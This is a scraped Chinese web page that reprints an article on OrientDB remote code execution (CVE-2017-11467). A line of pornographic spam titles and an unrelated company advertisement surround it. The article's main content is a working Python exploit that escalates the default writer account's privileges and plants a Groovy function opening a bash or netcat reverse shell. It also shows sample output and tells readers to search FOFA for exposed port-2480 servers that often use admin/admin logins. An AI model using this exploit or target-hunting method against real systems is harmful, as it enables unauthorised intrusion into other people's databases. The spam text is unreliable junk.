日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
OrientDB遠程代碼執(zhí)行漏洞利用與分析

OrientDB數(shù)據(jù)庫是一個支持分布式的NoSQL數(shù)據(jù)庫,主要針對文檔以及圖形等進行檢索,通過研究發(fā)現(xiàn)其默認(rèn)配置admin、reader和writer三個角色,在處理where”或“fetchplan”或“order by”函數(shù)時,由于在OrientDB中有一個執(zhí)行g(shù)roovy函數(shù),groovy包裝類沒有沙箱,暴露了系統(tǒng)函數(shù),因此我們可以運行我們想要的任何命令。該漏洞在國外被命名為CVE-2017-11467,本文主要對該漏洞的分析方法和實戰(zhàn)進行探討。

成都創(chuàng)新互聯(lián)公司服務(wù)項目包括昭化網(wǎng)站建設(shè)、昭化網(wǎng)站制作、昭化網(wǎng)頁制作以及昭化網(wǎng)絡(luò)營銷策劃等。多年來,我們專注于互聯(lián)網(wǎng)行業(yè),利用自身積累的技術(shù)優(yōu)勢、行業(yè)經(jīng)驗、深度合作伙伴關(guān)系等,向廣大中小型企業(yè)、政府機構(gòu)等提供互聯(lián)網(wǎng)行業(yè)的解決方案,昭化網(wǎng)站推廣取得了明顯的社會效益與經(jīng)濟效益。目前,我們服務(wù)的客戶以成都為中心已經(jīng)輻射到昭化省份的部分城市,未來相信會繼續(xù)擴大服務(wù)區(qū)域并繼續(xù)獲得客戶的支持與信任!

0x01.OrientDB簡介

OrientDB是分布式兼具文檔數(shù)據(jù)庫的靈活性和圖形數(shù)據(jù)庫管理鏈接能力的可深層次擴展的文檔-圖形數(shù)據(jù)庫管理系統(tǒng),也是可升級,高性能的操作NoSQL數(shù)據(jù)庫??蛇x無模式、全模式或混合模式下。支持許多高級特性,諸如ACID事務(wù)、快速索引,原生和SQL查詢功能??梢訨SON格式導(dǎo)入、導(dǎo)出文檔。若不執(zhí)行昂貴的JOIN操作的話,如同關(guān)系數(shù)據(jù)庫可在幾毫秒內(nèi)可檢索數(shù)以百G的鏈接文檔圖,其最新版本為OrientDB v2.2.26。官方網(wǎng)站:http://orientdb.com和https://github.com/Orientechnologies。

圖1Orientdb

0x02. OrientDB基礎(chǔ)

2.1OrientDB的一些基本概念

Classes : 類比關(guān)系型數(shù)據(jù)庫系統(tǒng)中的Table與傳統(tǒng)文檔數(shù)據(jù)庫的collections。這個概念來自于OOP(Object-oriented programming)的理念。class用于定義數(shù)據(jù)結(jié)構(gòu)的模型。

Record:record是OrientDB中最小的加載和存儲的單位。record有四種類型:Document、RecordBytes(BLOB)、Vertex、Edge。

Document:是OrientDB中最靈活的record。Document支持schema-less,schemal-full,schema-mixed,即可以在定義數(shù)據(jù)結(jié)構(gòu)的時候指定屬性及約定條件,也可以不指定。它通過create class語法來定義一個數(shù)據(jù)結(jié)構(gòu)。

Vertex:在OrientDB的graph模型下,每個結(jié)點叫作Vertex,每個Vertex也是一個Document。

Edge:在OrientDB的graph模型下,連接兩個Vertex的邊叫作Edge。Edge是有向性的而且僅能連接兩個Vertex。

Clusters : 用于存儲record。每個數(shù)據(jù)庫最多有32767個cluster。每個class都必須至少有一個對應(yīng)的cluster。默認(rèn)情況下OrientDB會自動為每個class創(chuàng)建與當(dāng)前cpu核數(shù)相同的cluster,其中有一個默認(rèn)的cluster。

Cluster Selection:當(dāng)新增加一條reocrd時OrientDB會根據(jù)cluster section為這條記錄選擇一個cluster。cluster section有四條類型:detault、round-robin、balanced、local。

Record ID :每個record都有一個record id。 record id的格式如下:

 
 
 
 
  1. #:。 

Relationships: OrientDB中不使用join,它通過在每個reocrd中定義一個關(guān)系類型的屬性來維護關(guān)系。這個關(guān)系屬性存儲的實際是record id,就像定義一個指針在內(nèi)存中將兩個record聯(lián)系起來。

Inheritance & Polymorphic: OrientDB支持面向?qū)ο蟮睦^承和多態(tài)特性。

2.2OrientDB的特性

OrientDB是用Java語言實現(xiàn)的,運行在JVM之上。

Multi-Model:OrientDB支持多種模型:Key/Value, Object, Document, and Graph。

Multi-Master Replication: OrientDB集群部署時每個點都是Master,每個Master上都有完整的數(shù)據(jù)。一旦一個Master上的數(shù)據(jù)發(fā)生變更,會將發(fā)生變更的數(shù)據(jù)同步通知其它Master。

Extended SQL : OrientDB支持大部分標(biāo)準(zhǔn)的SQL,同時在標(biāo)準(zhǔn)的SQL之上擴展了部分功能以方便圖的操作。

Easy Integration :使用teleporter可以很容易地將數(shù)據(jù)從RDBMS遷移到OrientDB上。

OOP:OrientDB定義數(shù)據(jù)結(jié)構(gòu)的Class符合OOP(Object-oriented programming)的理念,支持繼承和多態(tài)的特性。

2.2OrientDB的SQL

在寫圖數(shù)據(jù)庫的SQL時,第一步是要確認(rèn)起始點(這個也是圖數(shù)據(jù)庫比較耗時的地方),一旦起始點確認(rèn)后,我們便可以近乎物理連接的方式查詢這個起始點相關(guān)聯(lián)的數(shù)據(jù)。

基本的SQL:OrientDB支持大部分標(biāo)準(zhǔn)的SQL查詢。

例如:SELECT FROM Person WHERE name LIKE 'Luk%'

Traverse:traverse語法可以遍歷獲取一個record聯(lián)結(jié)的reocrd。它比select使用起來更簡單和快速。

例如:RAVERSE out("Friend") FROM #10:1234 WHILE $depth <= 3

Match:match是一種表述力很強的查詢語法結(jié)構(gòu),類比Neo4j的Cypher語法結(jié)構(gòu)。它以一種說明式的方式來查詢。

例如:

 
 
 
 
  1. MATCH {class: Person, as: person, where: (name = 'John' AND surname = 'Doe')}.both('Friend').both('Friend')  
  2. {as: friendOfFriend} RETURN person, friendOfFriend 

0x03. OrientDB漏洞 CVE-2017-11467分析

3.1搭建測試環(huán)境

(1)docker安裝,這個安裝的是最新版本,有可能修補了漏洞

 
 
 
 
  1. docker run -d --name orientdb -p 2424:2424 -p 2480:2480 -e ORIENTDB_ROOT_PASSWORD=root orientdb:latest 

(2)linux下安裝orientdb

 
 
 
 
  1. wget -O orientdb-community-2.2.22.tar.gz http://orientdb.com/download.php?file=orientdb-community-2.2.22.tar.gz&os=linux  
  2. tar -zxf orientdb-community-2.2.22.tar.gz 
  3. mv orientdb-community-2.2.22 /opt/orientdb  
  4. /opt/orientdb/bin/server.sh  
  5. useradd -r orientdb -s /sbin/nologin 
  6. chown -R orientdb:orientdb /opt/orientdb  
  7. chmod 640 /opt/orientdb/config/orientdb-server-config.xml 
  8. cp /opt/orientdb/bin/orientdb.service /etc/systemd/system  
  9. vi /etc/systemd/system/orientdb.service  
  10. 修改User=ORIENTDB_USER Group=ORIENTDB_GROUP ExecStart=$ORIENTDB_HOME/bin/server.sh為: 
  11. User=orientdb Group=orientdb ExecStart=/opt/orientdb/bin/server.sh 
  12. systemctl daemon-reload 
  13. systemctl enable orientdb 
  14. systemctl status orientdb 

注意:

(1)如果是虛擬機,則需要修改內(nèi)存大小,默認(rèn)64位是512G,修改為1G!需要修改/opt/orientdb/bin下的所有bat文件和sh文件。否則會報“Invalid maximum direct memory size: -XX:MaxDirectMemorySize=512g”錯誤。

(2)設(shè)置路徑和用戶,在對應(yīng)的sh文件中設(shè)置

 
 
 
 
  1. ORIENTDB_DIR="/opt/orientdb/" 
  2. ORIENTDB_USER="orientdb" 

3.2漏洞分析

1.用戶權(quán)限

OrientDB使用RBAC模型進行認(rèn)證方案。默認(rèn)情況下,OrientDB有3個角色:管理員(admin),作者(writer)和讀者(reader)。這些用戶名與角色相同。對于在服務(wù)器上創(chuàng)建的每個數(shù)據(jù)庫,默認(rèn)情況下分配這3個用戶。

用戶的權(quán)限是:

admin:訪問數(shù)據(jù)庫上的所有功能,沒有任何限制

reader:只讀用戶。讀者可以查詢數(shù)據(jù)庫中的任何記錄,但不能修改或刪除它們。它不能訪問內(nèi)部信息,例如用戶和角色本身。

writer:與“讀者”相同,但也可以創(chuàng)建,更新和刪除記錄

2.越權(quán)導(dǎo)致命令執(zhí)行

ORole結(jié)構(gòu)處理用戶及其角色,只能由管理員訪問。OrientDB需要oRole讀取權(quán)限來允許用戶顯示用戶的權(quán)限以及與oRole權(quán)限相關(guān)聯(lián)的其他查詢。但在版本2.2.x中,每當(dāng)上述oRole查詢包含where、fetchplan和ORDER BY語句,則不需要此權(quán)限的要求和信息,而返回給未經(jīng)授權(quán)的用戶從而導(dǎo)致命令執(zhí)行

例:

 
 
 
 
  1. select * from oRole order by name; 

當(dāng)每個數(shù)據(jù)庫創(chuàng)建時會創(chuàng)建writer用戶,這樣,即使db管理員更改管理員用戶密碼,攻擊者仍然可以使用writer用戶獲取代碼執(zhí)行。由于我們啟用了where、fetchplan和ORDER BY函數(shù),在OrientDB中有一個執(zhí)行g(shù)roovy函數(shù),groovy包裝類沒有沙箱,暴露了系統(tǒng)函數(shù),因此我們可以運行我們想要的任何命令。

示例Groovy函數(shù):

 
 
 
 
  1. Command.md 
  2. def command = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 
  3. >/tmp/f' 
  4.  File file = new File("hello.sh") 
  5.  file.delete() 
  6.  file << ("#!/bin/bash\n") 
  7.  file << (command) 
  8.  def proc = "bash hello.sh".execute() 

3.概念證明

(1)監(jiān)聽8081端口。

在8081端口運行Netcat:nc -lv 8081

運行以下命令:

 
 
 
 
  1. python PoC.py ip [port] 

(2)poc.py

 
 
 
 
  1. import sys 
  2. import requests 
  3. import json 
  4. import string 
  5. import random 
  6. target = sys.argv[1] 
  7. try: 
  8.     port = sys.argv[2] if sys.argv[2] else 2480 
  9. except: 
  10.     port = 2480 
  11. url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port) 
  12. def random_function_name(size=5, chars=string.ascii_lowercase + string.digits): 
  13.     return ''.join(random.choice(chars) for _ in range(size)) 
  14. def enum_databases(target,port="2480"): 
  15.     base_url = "http://%s:%s/listDatabases"%(target,port) 
  16.     req = requests.get(base_url) 
  17.     if req.status_code == 200: 
  18.         #print "[+] Database Enumeration successful" 
  19.         database = req.json()['databases'] 
  20.         return database 
  21.     return False 
  22. def check_version(target,port="2480"): 
  23.     base_url = "http://%s:%s/listDatabases"%(target,port) 
  24.     req = requests.get(base_url) 
  25.     if req.status_code == 200: 
  26.         headers = req.headers['server'] 
  27.         #print headers 
  28.         if "2.2" in headers or "3." in headers: 
  29.             return True 
  30.     return False 
  31. def run_queries(permission,db,content=""): 
  32.     databases = enum_databases(target) 
  33.     url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0]) 
  34.     priv_enable = ["create","read","update","execute","delete"] 
  35.     #query = "GRANT create ON database.class.ouser TO writer" 
  36.     for priv in priv_enable: 
  37.  
  38.         if permission == "GRANT": 
  39.             query = "GRANT %s ON %s TO writer"%(priv,db) 
  40.         else: 
  41.             query = "REVOKE %s ON %s FROM writer"%(priv,db) 
  42.         req = requests.post(url,data=query,auth=('writer','writer')) 
  43.         if req.status_code == 200: 
  44.             pass 
  45.         else: 
  46.             if priv == "execute": 
  47.                 return True 
  48.             return False 
  49.  
  50.     print "[+] %s"%(content) 
  51.     return True 
  52. def priv_escalation(target,port="2480"): 
  53.     print "[+] Checking OrientDB Database version is greater than 2.2" 
  54.     if check_version(target,port): 
  55.         priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function") 
  56.         priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function") 
  57.         priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters") 
  58.         if priv1 and priv2 and priv3: 
  59.             return True 
  60.     return False 
  61. def exploit(target,port="2480"): 
  62.     #query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":null' 
  63.     #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":None} 
  64.     func_name = random_function_name() 
  65.     print func_name 
  66.     databases = enum_databases(target) 
  67.     reverse_ip = raw_input('Enter the ip to connect back: ') 
  68.     query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/bash\\\\n\\");file << (command);def proc = \\"bash hello.sh\\".execute();","parameters":null}' 
  69.     #query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f\' \u000a File file = new File(\"hello.sh\")\u000a     file.delete()       \u000a     file << (\"#!/bin/bash\")\u000a     file << (command)\n    def proc = \"bash hello.sh\".execute() ","parameters":null}' 
  70.     #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute();","parameters":None} 
  71.     req = requests.post("http://%s:%s/document/%s/-1:-1"%(target,port,databases[0]),data=query,auth=('writer','writer')) 
  72.     if req.status_code == 201: 
  73.         #print req.status_code 
  74.         #print req.json() 
  75.         func_id = req.json()['@rid'].strip("#") 
  76.         #print func_id 
  77.         print "[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name) 
  78.         req = requests.post("http://%s:%s/function/%s/%s"%(target,port,databases[0],func_name),auth=('writer','writer')) 
  79.         #print req.status_code 
  80.         #print req.text 
  81.         if req.status_code == 200: 
  82.             print "[+] Open netcat at port 8081.." 
  83.         else: 
  84.             print "[+] Exploitation failed at last step, try running the script again." 
  85.             print req.status_code 
  86.             print req.text 
  87.         #print "[+] Deleting traces.." 
  88.         req = requests.delete("http://%s:%s/document/%s/%s"%(target,port,databases[0],func_id),auth=('writer','writer')) 
  89.         priv1 = run_queries("REVOKE","database.class.ouser","Cleaning Up..database.class.ouser") 
  90.         priv2 = run_queries("REVOKE","database.function","Cleaning Up..database.function") 
  91.         priv3 = run_queries("REVOKE","database.systemclusters","Cleaning Up..database.systemclusters") 
  92.         #print req.status_code 
  93.         #print req.text 
  94. def main(): 
  95.     target = sys.argv[1] 
  96.     #port = sys.argv[1] if sys.argv[1] else 2480 
  97.     try: 
  98.         port = sys.argv[2] if sys.argv[2] else 2480 
  99.         #print port 
  100.     except: 
  101.         port = 2480 
  102.     if priv_escalation(target,port): 
  103.         exploit(target,port) 
  104.     else: 
  105.         print "[+] Target not vulnerable" 
  106.  
  107. main() 

0x04.歷史漏洞

  • CVE-2017-11467(高危)

OrientDB通過2.2.22在“where”或“fetchplan”或“order by”使用期間不執(zhí)行特權(quán)要求,允許遠程攻擊者通過精心制作的請求執(zhí)行任意操作系統(tǒng)命令。

  • CVE-2015-2918

在2.0.1之前的2.0.15和2.1.x之前的OrientDB Server Community Edition中的Studio組件沒有適當(dāng)?shù)叵拗剖褂肍RAME元素,這使遠程攻擊者更容易通過精心設(shè)計的網(wǎng)站進行劫持攻擊。

  • CVE-2015年-2913

server/network/protocol/http/OHttpSessionManager.java在OrientDB Server社區(qū)版的Studio組件2.0.15、2.1.x和2.1.1之前版本不正確地依賴于java.util.Random類來生成隨機Session ID值,這使遠程攻擊者更容易通過確定此類中的PRNG的內(nèi)部狀態(tài)來預(yù)測值。

  • CVE-2015-2912

在2.0.1之前的2.0.15和2.1.x之前的OrientDB Server Community Edition的Studio組件中的JSONP端點沒有適當(dāng)?shù)叵拗苹卣{(diào)值,這允許遠程攻擊者通過精心設(shè)計的HTTP請求進行跨站點請求偽造(CSRF)攻擊,并獲得敏感信息。

0x05.實戰(zhàn)CVE-2017-11467漏洞利用

1.安裝poc.py所需的組件

直接執(zhí)行python CVE-2017-11467.py 127.0.0.1后,出現(xiàn)錯誤,如圖2所示,則表示需要requests組件的支持,可以到https://pypi.python.org/pypi/requests/#downloads下載requests-2.18.4.tar.gz,可參考下載地址:

https://pypi.python.org/packages/b0/e1/eab4fc3752e3d240468a8c0b284607899d2fbfb236a56b7377a329aa8d09/requests-2.18.4.tar.gz

解壓requests-2.18.4.tar.gz文件后,使用python setup.py install進行安裝。

圖2需要安裝requests組件

2.尋找OrientDB

zoomeye目前在升級,因此用https://fofa.sol來進行搜索效果比較佳,關(guān)鍵詞“orientdb && port=2480”,對于2.2.X版本基本是通殺。獲取結(jié)果后,通過單擊鏈接來查看可否正常訪問。能夠正常訪問,登錄密碼一般都是admin/admin。

3.執(zhí)行命令

(1)檢測是否存在漏洞

例如python CVE-2017-11467.py 127.0.0.1后其結(jié)果:

 
 
 
 
  1. C:\Python27>python CVE-2017-11467.py 127.0.0.1 
  2. [+] Checking OrientDB Database version is greater than 2.2 
  3. [+] Privilege Escalation done checking enabling operations on database.function 
  4. [+] Enabled functional operations on database.function 
  5. [+] Enabling access to system clusters 
  6. 8bd94 
  7. Enter the ip to connect back: 59.***. ***.*** //輸入反彈的IP地址,注意前后無空格 
  8. [+] Exploitation successful, get ready for your shell.Executing 8bd94 
  9. [+] Exploitation failed at last step, try running the script again. 
  10. 400 
  11.   "errors": [ 
  12.     { 
  13.       "code": 400, 
  14.       "reason": "Bad request", 
  15.       "content": "Error on evaluation of the script library. Error: org.codehaus 
  16. .groovy.control.MultipleCompilationErrorsException: startup failed:\u000aScript1 
  17. .groovy: 1: unexpected token: def @ line 1, column 1.\u000a   def 8bd94() {\u000 
  18. a   ^\u000a\u000a1 error\u000a\u000aScript library was:\u000adef 8bd94() {\u000a 
  19. def command = 'bash -i >& /dev/tcp/59.110.62.194/8081 0>&1';File file = new File 
  20. (\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def 
  21. proc = \"bash hello.sh\".execute();\u000a}\u000a\u000a\u000d\u000a\u0009DB name= 
  22. \"hierarchies\"" 
  23.     } 
  24.   ] 
  25. [+] Cleaning Up..database.class.ouser 
  26. [+] Cleaning Up..database.function 
  27. [+] Cleaning Up..database.systemclusters 

(2)設(shè)置反彈的IP

如果檢測到目標(biāo)對象存在漏洞,則提示輸入一個反彈的IP地址,該IP地址事先需要進行8081端口監(jiān)聽,如果命令執(zhí)行成功則獲取反彈的shell,執(zhí)行效果如圖3和圖4所示。

圖3命令執(zhí)行漏洞檢測

圖4獲取反彈的shell

注意:

(1)由于命令是針對linux,因此反彈IP前不能有空格,否則執(zhí)行不成功。

(2)反彈端口可以更改poc中的8081

(3)OrientDB數(shù)據(jù)庫密碼是加密的。例如獲取某數(shù)據(jù)庫配置文件中的數(shù)據(jù)庫用戶和密碼:

 
 
 
 
  1.  
  2.         

【原創(chuàng)稿件,合作站點轉(zhuǎn)載請注明原文作者和出處為.com】


文章題目:OrientDB遠程代碼執(zhí)行漏洞利用與分析
瀏覽路徑:http://www.5511xx.com/article/djeddgh.html